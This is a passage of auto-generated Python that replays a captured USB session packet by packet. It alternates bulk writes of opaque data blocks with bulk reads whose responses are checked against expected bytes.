b\"\\xE6\\xC3\\x92\\x7F\\xA2\\x2F\\x74\\x87\\xCF\\xA8\\xD5\\x12\\xDA\\x51\\xEA\\xF3\"\n b\"\\x03\\x61\\x1B\\x9D\\xAD\\xE7\\x4C\\x68\\xF9\\x5C\\x44\\x8A\\xAE\\xC2\\xDD\\x45\"\n b\"\\x11\\x03\\x34\\x57\\x85\\x84\\x38\\x8B\\x4D\\xD3\\x15\\xBD\\x77\\x30\\x92\\xEE\"\n b\"\\xF1\\xEE\\x27\\xB6\\xF8\\xBF\\x41\\xA0\\xE1\\xC1\\xE6\\x29\\xC2\\x65\\x40\\x6B\"\n b\"\\x99\\x0D\\x85\\x82\\x51\\xA8\\xBF\\x5C\\x9B\\xF2\\x29\\x1B\\x72\\x8E\\x58\\xED\"\n b\"\\x4C\\x43\\x17\\x7C\\x14\\xDF\\x04\\x0D\\xAC\\xF3\\x0E\\x34\\x7B\\xB4\\x7C\\x4C\"\n b\"\\x87\\x3F\\x42\\x6D\\x3B\\xD1\\xC8\\xEF\\xCD\\x5E\\xA1\\x5A\\x0D\\xB0\\x8D\\x2B\"\n b\"\\x41\\x74\\x3E\\x33\\x7C\\x20\\x2A\\xBB\\xDD\\xCA\\x59\\xEB\\xE9\\xFB\\xF3\\x12\"\n b\"\\x9A\\xD5\\x0E\\xEB\\xB0\\xEF\\x19\\x64\\x8F\\xFF\\x56\\x93\\xA0\\xF0\\xEB\\x88\"\n b\"\\x78\\x46\\x38\\xE6\\x87\\x0F\\x71\\x62\\x90\\x80\\x70\\x58\\xD7\\x26\\x70\\xCE\"\n b\"\\x0A\\xDE\\x94\\x3A\\x37\\x01\\x3E\\xFF\\xE3\\x08\\x86\\xE6\")\n # Generated from packet 3159/3160\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3159/3160\")\n # Generated from packet 3161/3162\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x71\\xB8\\x3D\\xAB\\x9A\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\x06\\x7D\\x42\\x57\\x09\\x75\\x25\"\n b\"\\x48\\x34\\x22\\x48\\x74\\x8D\\x8B\\xD8\\xC2\\x32\\xD2\\x83\\xD8\\x32\\x7B\\xFF\"\n b\"\\xFA\\x33\\x3D\\xEE\\x3B\\xC0\\x86\\x87\\x6A\\x98\\xFF\\xEE\\xD6\\xA0\\xDD\\xC7\"\n b\"\\x05\\xF4\\x98\\x62\\x6D\\x47\\xA5\\x3F\\xAC\\xF4\\x87\\x14\\xE7\\x99\\xF3\\x3B\"\n b\"\\x6F\\x85\\x2A\\xFC\\x3E\\xA2\\x7D\\xB2\\x43\\x10\\xFE\\xE2\\xBF\\x44\\xAD\\xE3\"\n b\"\\x74\\xCA\\x82\\x28\\x1C\\x01\\xE5\\x04\\x24\\x02\\x0B\\xDE\\xDB\\x5D\\x62\\x9E\"\n b\"\\xC7\\x5D\\x30\\x8B\\xA9\\x82\\x8D\\x77\\x0F\\x32\\x0E\\xD1\\x1A\\x32\\xC2\\xE5\"\n b\"\\xED\\x3E\\x90\\x78\\xD6\\x55\\x46\\x58\\x6E\\xF5\\x61\\x26\\x55\\xA7\\x15\\xCE\"\n b\"\\x4F\\xD2\\x77\\x51\\x47\\x1B\\x49\\x5E\\x68\\x0B\\x69\\x56\\x82\\xD0\\xA3\\x82\"\n b\"\\xA6\\x9B\\x7A\\x99\\x67\\x4A\\xC8\\x74\\x0D\\xE0\\xD6\\xD4\\xC7\\xF2\\x02\\x78\"\n b\"\\xD0\\x2E\\xEF\\x0D\\x90\\x7A\\xCA\\xF7\\x82\\x2B\\x55\\xD2\\xF6\\x9A\\x3E\\x76\"\n b\"\\x7D\\x43\\x60\\x5A\\x05\\x76\\xD7\\x19\\xBC\\x7F\\x7F\\x5D\\x50\\x99\\x87\\x30\"\n b\"\\xD7\\x38\\x12\\x25\\x2E\\x07\\xF3\\xFC\\x1E\\xF6\\x9D\\x52\\x98\\xA1\\x68\\x06\"\n b\"\\x23\\xA9\\x8A\\x51\\xBD\\x30\\x45\\xEE\\x7C\\xD9\\x57\\x7A\\xFB\\xD5\\x8B\\xB2\"\n b\"\\xAC\\xF8\\xBD\\x88\\x4F\\x7F\\xEE\\x0E\\x91\\xCA\\xB6\\x07\\xC0\\xAC\\xA0\\x1E\"\n b\"\\xBE\\x0B\\x29\\x3D\\x1A\\xAD\\x6B\\x66\\x72\\x68\\x82\\xAE\\xD7\\x52\\x5C\\x64\"\n b\"\\x8D\\xC4\\x1B\\x8D\\xF1\\xB5\\xED\\xB3\\x3C\\xFA\\x7C\\xEB\")\n # Generated from packet 3163/3164\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3163/3164\")\n # Generated from packet 3165/3166\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x23\\x49\\x2F\\x97\\x43\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBF\\xDE\\x8F\\x93\\x17\\xD3\\x03\\x74\"\n b\"\\xEF\\xBE\\x84\\xD5\\x7A\\xAB\\x7D\\xEA\\x9B\\x72\\x4D\\x1B\\xF5\\xDC\\xCB\\x4C\"\n b\"\\x00\\x88\\x70\\x44\\xE2\\xDF\\xEE\\xDD\\x2D\\x60\\x2F\\x34\\x3F\\xF4\\xA8\\x38\"\n b\"\\xE3\\x3C\\xFF\\x15\\xD5\\x06\\x1C\\x92\\x86\\x80\\xC2\\x27\\xDE\\x89\\x93\\x41\"\n b\"\\xC8\\x90\\xED\\xE6\\x41\\xB3\\x49\\x40\\x03\\xE8\\x21\\x85\\xEA\\x20\\x84\\xBF\"\n b\"\\x34\\xEA\\xDE\\x29\\x73\\x03\\xA2\\x58\\x85\\x3D\\x6F\\x17\\x14\\x65\\xF3\\x04\"\n b\"\\x65\\xDD\\xDF\\x0E\\x5C\\x0A\\x98\\x7C\\x24\\xF6\\x13\\x42\\x05\\x4A\\xFD\\xC8\"\n b\"\\x87\\xBC\\x72\\xA1\\x32\\x7C\\x9C\\x8D\\x43\\x30\\x58\\x3E\\x5B\\x0D\\x0C\\x2A\"\n b\"\\xD3\\xAC\\xE6\\x59\\x83\\x98\\xD7\\xF3\\x7A\\xEB\\xF9\\x0E\\x83\\xC1\\xC3\\x19\"\n b\"\\x0C\\xFE\\xD3\\x56\\xFB\\xD1\\xDC\\xEB\\xE0\\x09\\x6A\\x38\\x8E\\xF6\\x23\\x71\"\n b\"\\x0A\\xE1\\xAC\\x70\\x30\\xA6\\x0A\\x70\\xA6\\x7B\\xF2\\x94\\x52\\x46\\x2D\\x3E\"\n b\"\\x97\\x92\\x24\\x86\\x8E\\xCF\\x7E\\x55\\x18\\x60\\x3B\\xA8\\xA3\\xB3\\x28\\x3F\"\n b\"\\xB7\\x09\\x22\\x03\\xE1\\x57\\x9A\\x63\\xD4\\x74\\x03\\x29\\x14\\x9A\\x99\\xAD\"\n b\"\\xD8\\xF7\\x8C\\x3A\\xF4\\x01\\xA4\\x13\\xDC\\xF3\\x87\\x3B\\x76\\x02\\x72\\x61\"\n b\"\\xD1\\xD1\\x60\\xA8\\xDF\\xDF\\x5C\\xA6\\x95\\x22\\xB7\\xA7\\xD6\\x35\\xAF\\x25\"\n b\"\\xA4\\xBB\\x1E\\xA0\\x0C\\x26\\xBA\\x17\\xC7\\x2D\\xB4\\x83\\xC9\\x87\\xE0\\x6D\"\n b\"\\x36\\xDD\\xA8\\xE0\\x6B\\x13\\xAA\\xDB\\x14\\x65\\xC5\\xB3\")\n # Generated from packet 3167/3168\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3167/3168\")\n # Generated from packet 3169/3170\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xED\\x19\\x21\\x83\\xCD\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\x8F\\x4A\\xFD\\xD4\\xC1\\x7D\\xB2\"\n b\"\\xA9\\x73\\xFE\\xE2\\x55\\x27\\xAD\\xE3\\x9E\\xA9\\x82\\x28\\xF6\\x62\\xE5\\x04\"\n b\"\\xCE\\x61\\x0B\\xDE\\x31\\x3E\\x62\\x9E\\x2D\\x3E\\x30\\x8B\\x43\\xE1\\x8D\\x77\"\n b\"\\xE5\\x51\\x0E\\xD1\\xF0\\x51\\xC2\\xE5\\x07\\x5D\\x90\\x78\\x3C\\x36\\x46\\x58\"\n b\"\\x84\\x96\\x61\\x26\\xBF\\xC4\\x15\\xCE\\xA5\\xB1\\x77\\x51\\xAD\\x78\\x49\\x5E\"\n b\"\\x82\\x68\\x69\\x56\\x68\\xB3\\xA3\\x82\\x4C\\xF8\\x7A\\x99\\x8D\\x29\\xC8\\x74\"\n b\"\\xE7\\x83\\xD6\\xD4\\x2D\\x91\\x02\\x78\\x3A\\x4D\\xEF\\x0D\\x7A\\x19\\xCA\\xF7\"\n b\"\\x68\\x48\\x55\\xD2\\x1C\\xF9\\x3E\\x76\\x97\\x20\\x60\\x5A\\xEF\\x15\\xD7\\x19\"\n b\"\\x56\\x1C\\x7F\\x5D\\xBA\\xFA\\x87\\x30\\x3D\\x5B\\x12\\x25\\xC4\\x64\\xF3\\xFC\"\n b\"\\xF4\\x95\\x9D\\x52\\x72\\xC2\\x68\\x06\\xC9\\xCA\\x8A\\x51\\x57\\x53\\x45\\xEE\"\n b\"\\x96\\xBA\\x57\\x7A\\x11\\xB6\\x8B\\xB2\\x46\\x9B\\xBD\\x88\\xA5\\x1C\\xEE\\x0E\"\n b\"\\x7B\\xA9\\xB6\\x07\\x2A\\xCF\\xA0\\x1E\\x54\\x68\\x29\\x3D\\xF0\\xCE\\x6B\\x66\"\n b\"\\x98\\x0B\\x82\\xAE\\x3D\\x31\\x5C\\x64\\x67\\xA7\\x1B\\x8D\\x1B\\xD6\\xED\\xB3\"\n b\"\\xD6\\x99\\x7C\\xEB\\x4A\\x8A\\x0D\\x53\\x66\\x80\\x34\\x84\\x21\\xF2\\x4C\\x78\"\n b\"\\xAA\\xCC\\x6D\\xC4\\x44\\x46\\xEF\\x32\\xCB\\x2F\\x5A\\xF2\\x25\\x03\\x2B\\xBE\"\n b\"\\xE1\\xB0\\x33\\x83\\xB5\\xA4\\xBB\\x22\\x5F\\xD7\\xEB\\x16\\x6E\\x7D\\x12\\x65\"\n b\"\\x40\\x80\\xEB\\x4F\\x7A\\x97\\x64\\x70\\x6A\\xD8\\x93\\x5F\")\n # Generated from packet 3171/3172\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3171/3172\")\n # Generated from packet 3173/3174\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x87\\xAB\\x0A\\xEF\\xCF\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE2\\x18\\x42\\x49\\xDE\\x28\\x8B\\xD8\"\n b\"\\x68\\x97\\xD2\\x83\\x72\\x97\\x7B\\xFF\\x50\\x96\\x3D\\xEE\\x91\\x65\\x86\\x87\"\n b\"\\xC0\\x3D\\xFF\\xEE\\x7C\\x05\\xDD\\xC7\\xAF\\x51\\x98\\x62\\xC7\\xE2\\xA5\\x3F\"\n b\"\\x06\\x51\\x87\\x14\\x4D\\x3C\\xF3\\x3B\\xC5\\x20\\x2A\\xFC\\x94\\x07\\x7D\\xB2\"\n b\"\\xE9\\xB5\\xFE\\xE2\\x15\\xE1\\xAD\\xE3\\xDE\\x6F\\x82\\x28\\xB6\\xA4\\xE5\\x04\"\n b\"\\x8E\\xA7\\x0B\\xDE\\x71\\xF8\\x62\\x9E\\x6D\\xF8\\x30\\x8B\\x03\\x27\\x8D\\x77\"\n b\"\\xA5\\x97\\x0E\\xD1\\xB0\\x97\\xC2\\xE5\\x47\\x9B\\x90\\x78\\x7C\\xF0\\x46\\x58\"\n b\"\\xC4\\x50\\x61\\x26\\xFF\\x02\\x15\\xCE\\xE5\\x77\\x77\\x51\\xED\\xBE\\x49\\x5E\"\n b\"\\xC2\\xAE\\x69\\x56\\x28\\x75\\xA3\\x82\\x0C\\x3E\\x7A\\x99\\xCD\\xEF\\xC8\\x74\"\n b\"\\xA7\\x45\\xD6\\xD4\\x6D\\x57\\x02\\x78\\x7A\\x8B\\xEF\\x0D\\x3A\\xDF\\xCA\\xF7\"\n b\"\\x28\\x8E\\x55\\xD2\\x5C\\x3F\\x3E\\x76\\xD7\\xE6\\x60\\x5A\\xAF\\xD3\\xD7\\x19\"\n b\"\\x16\\xDA\\x7F\\x5D\\xFA\\x3C\\x87\\x30\\x7D\\x9D\\x12\\x25\\x84\\xA2\\xF3\\xFC\"\n b\"\\xB4\\x53\\x9D\\x52\\x32\\x04\\x68\\x06\\x89\\x0C\\x8A\\x51\\x17\\x95\\x45\\xEE\"\n b\"\\xD6\\x7C\\x57\\x7A\\x51\\x70\\x8B\\xB2\\x06\\x5D\\xBD\\x88\\xE5\\xDA\\xEE\\x0E\"\n b\"\\x3B\\x6F\\xB6\\x07\\x6A\\x09\\xA0\\x1E\\x14\\xAE\\x29\\x3D\\xB0\\x08\\x6B\\x66\"\n b\"\\xD8\\xCD\\x82\\xAE\\x7D\\xF7\\x5C\\x64\\x27\\x61\\x1B\\x8D\\x5B\\x10\\xED\\xB3\"\n b\"\\x96\\x5F\\x7C\\xEB\\x0A\\x4C\\x0D\\x53\\x26\\x46\\x34\\x84\")\n # Generated from packet 3175/3176\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3175/3176\")\n # Generated from packet 3177/3178\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x49\\xFB\\x04\\xFB\\x57\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x2C\\x95\\x77\\x90\\x9E\\x34\\xA7\"\n b\"\\x22\\x73\\x5E\\x0D\\x3C\\xD3\\x94\\x1F\\xE8\\x7F\\x83\\xC3\\x05\\x0A\\xC3\\x97\"\n b\"\\x20\\xF0\\xD1\\xC6\\xBF\\xD5\\xA5\\x77\\xD4\\x71\\x2E\\xAE\\x8A\\x5D\\x56\\x9B\"\n b\"\\x3D\\x1E\\xEF\\x92\\x95\\x5A\\x03\\x74\\x6D\\x37\\x84\\xD5\\xF8\\x22\\x7D\\xEA\"\n b\"\\x19\\xFB\\x4D\\x1B\\x77\\x55\\xCB\\x4C\\x82\\x01\\x70\\x44\\x60\\x56\\xEE\\xDD\"\n b\"\\xAF\\xE9\\x2F\\x34\\xBD\\x7D\\xA8\\x38\\x61\\xB5\\xFF\\x15\\x57\\x8F\\x1C\\x92\"\n b\"\\x04\\x09\\xC2\\x27\\x5C\\x00\\x93\\x41\\x4A\\x19\\xED\\xE6\\xC3\\x3A\\x49\\x40\"\n b\"\\x81\\x61\\x21\\x85\\x68\\xA9\\x84\\xBF\\xB6\\x63\\xDE\\x29\\xF1\\x8A\\xA2\\x58\"\n b\"\\x07\\xB4\\x6F\\x17\\x96\\xEC\\xF3\\x04\\xE7\\x54\\xDF\\x0E\\xDE\\x83\\x98\\x7C\"\n b\"\\xA6\\x7F\\x13\\x42\\x87\\xC3\\xFD\\xC8\\x05\\x35\\x72\\xA1\\xB0\\xF5\\x9C\\x8D\"\n b\"\\xC1\\xB9\\x58\\x3E\\xD9\\x84\\x0C\\x2A\\x51\\x25\\xE6\\x59\\x01\\x11\\xD7\\xF3\"\n b\"\\xF8\\x62\\xF9\\x0E\\x01\\x48\\xC3\\x19\\x8E\\x77\\xD3\\x56\\x79\\x58\\xDC\\xEB\"\n b\"\\x62\\x80\\x6A\\x38\\x0C\\x7F\\x23\\x71\\x88\\x68\\xAC\\x70\\xB2\\x2F\\x0A\\x70\"\n b\"\\x24\\xF2\\xF2\\x94\\xD0\\xCF\\x2D\\x3E\\x15\\x1B\\x24\\x86\\x0C\\x46\\x7E\\x55\"\n b\"\\x9A\\xE9\\x3B\\xA8\\x21\\x3A\\x28\\x3F\\x35\\x80\\x22\\x03\\x63\\xDE\\x9A\\x63\"\n b\"\\x56\\xFD\\x03\\x29\\x96\\x13\\x99\\xAD\\x5A\\x7E\\x8C\\x3A\\x76\\x88\\xA4\\x13\"\n b\"\\x5E\\x7A\\x87\\x3B\\xF4\\x8B\\x72\\x61\\x53\\x58\\x60\\xA8\")\n # Generated from packet 3179/3180\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3179/3180\")\n # Generated from packet 3181/3182\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1B\\x0A\\x16\\xC7\\xC7\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA9\\x86\\xBD\\x44\\x16\\x8E\\x34\\x57\"\n b\"\\x82\\x09\\x38\\x8B\\x4A\\x5E\\x15\\xBD\\x70\\xBD\\x92\\xEE\\xF6\\x63\\x27\\xB6\"\n b\"\\xFF\\x32\\x41\\xA0\\xE6\\x4C\\xE6\\x29\\xC5\\xE8\\x40\\x6B\\x9E\\x80\\x85\\x82\"\n b\"\\x56\\x25\\xBF\\x5C\\x9C\\x7F\\x29\\x1B\\x75\\x03\\x58\\xED\\x4B\\xCE\\x17\\x7C\"\n b\"\\x13\\x52\\x04\\x0D\\xAB\\x7E\\x0E\\x34\\x7C\\x39\\x7C\\x4C\\x80\\xB2\\x42\\x6D\"\n b\"\\x3C\\x5C\\xC8\\xEF\\xCA\\xD3\\xA1\\x5A\\x0A\\x3D\\x8D\\x2B\\x46\\xF9\\x3E\\x33\"\n b\"\\x7B\\xAD\\x2A\\xBB\\xDA\\x47\\x59\\xEB\\xEE\\x76\\xF3\\x12\\x9D\\x58\\x0E\\xEB\"\n b\"\\xB7\\x62\\x19\\x64\\x88\\x72\\x56\\x93\\xA7\\x7D\\xEB\\x88\\x7F\\xCB\\x38\\xE6\"\n b\"\\x80\\x82\\x71\\x62\\x97\\x0D\\x70\\x58\\xD0\\xAB\\x70\\xCE\\x0D\\x53\\x94\\x3A\"\n b\"\\x30\\x8C\\x3E\\xFF\\xE4\\x85\\x86\\xE6\\xB9\\xDF\\x55\\x70\\x16\\x9A\\xA8\\xCB\"\n b\"\\xC5\\x89\\x3F\\xDF\\x7F\\x83\\x03\\x89\\x21\\x3B\\x63\\xBC\\x02\\xA2\\x29\\x7C\"\n b\"\\xEC\\x38\\xAD\\xB0\\x81\\x2D\\x3A\\x9C\\x77\\x05\\x13\\xB4\\x85\\x26\\x3B\\x1E\"\n b\"\\x74\\xD3\\x61\\xB9\\xA7\\xC1\\xA8\\xB7\\xA9\\xFD\\xA6\\xFD\\x54\\x16\\xA7\\xBE\"\n b\"\\x43\\x0E\\x25\\xCC\\xCD\\xBF\\xA0\\x64\\x50\\x1B\\x17\\xAF\\x5B\\x15\\x83\\xA1\"\n b\"\\xF1\\x41\\x6D\\x5E\\xAB\\x09\\xE0\\x03\\x65\\x0B\\xDB\\x7C\\x13\\x64\\xB3\\x15\"\n b\"\\xEA\\x7F\\x4A\\x52\\xFC\\x50\\xD1\\xD6\\xCB\\x32\\x9A\\x63\\xA2\\x2E\\x5D\\xE2\"\n b\"\\xA5\\x5B\\x01\\xA3\\xF0\\x42\\x93\\x93\\x0C\\x29\\x6C\\x8A\")\n # Generated from packet 3183/3184\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3183/3184\")\n # Generated from packet 3185/3186\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD5\\x5A\\x18\\xD3\\x50\\x2D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\x06\\x75\\xCF\\x16\\x9A\\x77\\x51\"\n b\"\\x1E\\x53\\x49\\x5E\\x31\\x43\\x69\\x56\\xDB\\x98\\xA3\\x82\\xFF\\xD3\\x7A\\x99\"\n b\"\\x3E\\x02\\xC8\\x74\\x54\\xA8\\xD6\\xD4\\x9E\\xBA\\x02\\x78\\x89\\x66\\xEF\\x0D\"\n b\"\\xC9\\x32\\xCA\\xF7\\xDB\\x63\\x55\\xD2\\xAF\\xD2\\x3E\\x76\\x24\\x0B\\x60\\x5A\"\n b\"\\x5C\\x3E\\xD7\\x19\\xE5\\x37\\x7F\\x5D\\x09\\xD1\\x87\\x30\\x8E\\x70\\x12\\x25\"\n b\"\\x77\\x4F\\xF3\\xFC\\x47\\xBE\\x9D\\x52\\xC1\\xE9\\x68\\x06\\x7A\\xE1\\x8A\\x51\"\n b\"\\xE4\\x78\\x45\\xEE\\x25\\x91\\x57\\x7A\\xA2\\x9D\\x8B\\xB2\\xF5\\xB0\\xBD\\x88\"\n b\"\\x16\\x37\\xEE\\x0E\\xC8\\x82\\xB6\\x07\\x99\\xE4\\xA0\\x1E\\xE7\\x43\\x29\\x3D\"\n b\"\\x43\\xE5\\x6B\\x66\\x2B\\x20\\x82\\xAE\\x8E\\x1A\\x5C\\x64\\xD4\\x8C\\x1B\\x8D\"\n b\"\\xA8\\xFD\\xED\\xB3\\x65\\xB2\\x7C\\xEB\\xF9\\xA1\\x0D\\x53\\xD5\\xAB\\x34\\x84\"\n b\"\\x92\\xD9\\x4C\\x78\\x19\\xE7\\x6D\\xC4\\xF7\\x6D\\xEF\\x32\\x78\\x04\\x5A\\xF2\"\n b\"\\x96\\x28\\x2B\\xBE\\x52\\x9B\\x33\\x83\\x06\\x8F\\xBB\\x22\\xEC\\xFC\\xEB\\x16\"\n b\"\\xDD\\x56\\x12\\x65\\xF3\\xAB\\xEB\\x4F\\xC9\\xBC\\x64\\x70\\xD9\\xF3\\x93\\x5F\"\n b\"\\xD6\\x4E\\x88\\x87\\x60\\x9D\\xE6\\x78\\x29\\xD4\\x62\\x6F\\xA6\\xD5\\x58\\x28\"\n b\"\\x00\\xD5\\xCE\\xF5\\xF8\\x31\\x3A\\xC8\\x27\\x9B\\xFF\\x1C\\x2E\\x23\\xE6\\x41\"\n b\"\\x74\\xF0\\x70\\xEE\\x31\\x0D\\xCB\\x3D\\x22\\x9A\\xDF\\x87\\x28\\xA6\\x89\\xD9\"\n b\"\\x90\\xC6\\xBC\\xFA\\x09\\x8C\\x7C\\x14\\x93\\x08\\xB0\\x79\")\n # Generated from packet 3187/3188\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3187/3188\")\n # Generated from packet 3189/3190\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6E\\x64\\xD5\\x84\\x59\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFE\\x35\\x45\\x7C\\xC1\\xDE\\xFC\\x4D\"\n b\"\\x30\\xB0\\x52\\xCB\\x67\\x45\\x06\\x70\\x6F\\xA7\\x51\\xEE\\xF6\\x68\\xEE\\x2F\"\n b\"\\x1F\\x7A\\x7A\\xA8\\x13\\xA6\\xB2\\xFF\\x3E\\x90\\x88\\x1C\\xB9\\xC3\\x0E\\xC2\"\n b\"\\x0C\\x9B\\x07\\x93\\x6A\\x8D\\x1E\\xED\\xCD\\x04\\x3D\\x49\\x6B\\x46\\x66\\x21\"\n b\"\\xAE\\xAF\\xAE\\x84\\x94\\x71\\x64\\xDE\\x02\\x36\\x8D\\xA2\\x73\\xC0\\xB3\\x6F\"\n b\"\\x3C\\x51\\xEB\\xF3\\x2F\\x20\\x53\\xDF\\x25\\x19\\x84\\x98\\x57\\x61\\x78\\x13\"\n b\"\\x69\\x40\\xC4\\xFD\\xE3\\xC2\\x32\\x72\\x8A\\x77\\xF2\\x9C\\xA6\\x06\\xBE\\x58\"\n b\"\\x15\\x1E\\x83\\x0C\\x01\\x96\\x22\\xE6\\x72\\xC6\\x16\\xD7\\xD8\\x3F\\x65\\xF9\"\n b\"\\x25\\xC6\\x4F\\xC3\\x32\\x49\\x70\\xD3\\x7D\\xBE\\x5F\\xDC\\xC0\\xA5\\x87\\x6A\"\n b\"\\x13\\xCB\\x78\\x23\\x5A\\x4F\\x6F\\xAC\\x5B\\x75\\x28\\x0A\\x5B\\xE3\\xF5\\xF2\"\n b\"\\xBF\\x17\\xC8\\x2D\\x15\\xD2\\x1C\\x24\\xAD\\xCB\\x41\\x7E\\x7E\\x5D\\xEE\\x3B\"\n b\"\\x83\\xE6\\x3D\\x28\\x14\\xF2\\x87\\x22\\x28\\xA4\\xD9\\x9A\\x48\\x91\\xFA\\x03\"\n b\"\\x02\\x51\\x14\\x99\\x86\\x9D\\x79\\x8C\\x11\\xB1\\x8F\\xA4\\x38\\x99\\x7D\\x87\"\n b\"\\x10\\x33\\x8C\\x72\\x4A\\x94\\x5F\\x60\\x83\\x9A\\x51\\x5C\\x8D\\xD0\\xAC\\xB7\"\n b\"\\x8C\\x93\\xBB\\xAF\\x0E\\xE1\\x35\\x1E\\x8B\\x49\\xA8\\xBA\\x3C\\x82\\xA3\\xB4\"\n b\"\\xA8\\x8C\\x09\\xE0\\x46\\x73\\x53\\xA8\\xCB\\x2E\\x9D\\xAA\\xF0\\x51\\xEB\\xC5\"\n b\"\\x98\\x38\\x12\\xDE\\x61\\x7F\\x04\\xF1\\xFA\\xFB\\x33\\x93\")\n # Generated from packet 3191/3192\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3191/3192\")\n # Generated from packet 3193/3194\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA0\\x34\\xDB\\x90\\xBF\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBE\\xAC\\x0B\\x67\\xD6\\x43\\x82\\xAE\"\n b\"\\x73\\x79\\x5C\\x64\\x29\\xEF\\x1B\\x8D\\x55\\x9E\\xED\\xB3\\x98\\xD1\\x7C\\xEB\"\n b\"\\x04\\xC2\\x0D\\x53\\x28\\xC8\\x34\\x84\\x6F\\xBA\\x4C\\x78\\xE4\\x84\\x6D\\xC4\"\n b\"\\x0A\\x0E\\xEF\\x32\\x85\\x67\\x5A\\xF2\\x6B\\x4B\\x2B\\xBE\\xAF\\xF8\\x33\\x83\"\n b\"\\xFB\\xEC\\xBB\\x22\\x11\\x9F\\xEB\\x16\\x20\\x35\\x12\\x65\\x0E\\xC8\\xEB\\x4F\"\n b\"\\x34\\xDF\\x64\\x70\\x24\\x90\\x93\\x5F\\x2B\\x2D\\x88\\x87\\x9D\\xFE\\xE6\\x78\"\n b\"\\xD4\\xB7\\x62\\x6F\\x5B\\xB6\\x58\\x28\\xFD\\xB6\\xCE\\xF5\\x05\\x52\\x3A\\xC8\"\n b\"\\xDA\\xF8\\xFF\\x1C\\xD3\\x40\\xE6\\x41\\x89\\x93\\x70\\xEE\\xCC\\x6E\\xCB\\x3D\"\n b\"\\xDF\\xF9\\xDF\\x87\\xD5\\xC5\\x89\\xD9\\x6D\\xA5\\xBC\\xFA\\xF4\\xEF\\x7C\\x14\"\n b\"\\x6E\\x6B\\xB0\\x79\\x7B\\xFC\\x9C\\x8F\\x53\\xD5\\xB4\\x7D\\x70\\xFD\\x1E\\x8C\"\n b\"\\x85\\xA7\\xB9\\x5F\\x97\\x6E\\xB7\\x51\\xAB\\x60\\xFD\\xAC\\x40\\x61\\xBE\\xBB\"\n b\"\\x58\\xE3\\xCC\\x35\\xE9\\x66\\x64\\xA8\\x4D\\xD1\\xAF\\xA3\\x43\\x45\\xA1\\x09\"\n b\"\\x17\\xAB\\x5E\\x53\\x5F\\x26\\x03\\x9D\\x5D\\x1D\\x7C\\xEB\\x32\\x75\\x15\\x12\"\n b\"\\x29\\x8C\\x52\\x04\\x06\\x17\\xD6\\x33\\x64\\x5C\\x63\\x5A\\x78\\x9B\\xE2\\x5D\"\n b\"\\x0D\\xC7\\xA3\\x08\\x14\\x55\\x93\\xF4\\x7F\\xAA\\x8A\\x41\\x9D\\x1E\\xDB\\x12\"\n b\"\\xC9\\x6C\\x67\\xA2\\xBE\\xCB\\xD3\\xFD\\xBD\\x59\\x1A\\x02\\x7A\\xCA\\xD5\\x1C\"\n b\"\\xB8\\x07\\x08\\x4A\\xB4\\xF6\\x99\\x36\\xF6\\xCC\\x22\\x9D\")\n # Generated from packet 3195/3196\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3195/3196\")\n # Generated from packet 3197/3198\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF2\\xC5\\xC9\\xAC\\xBD\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF3\\x62\\x31\\xEF\\x6A\\xE7\\xEE\\x2F\"\n 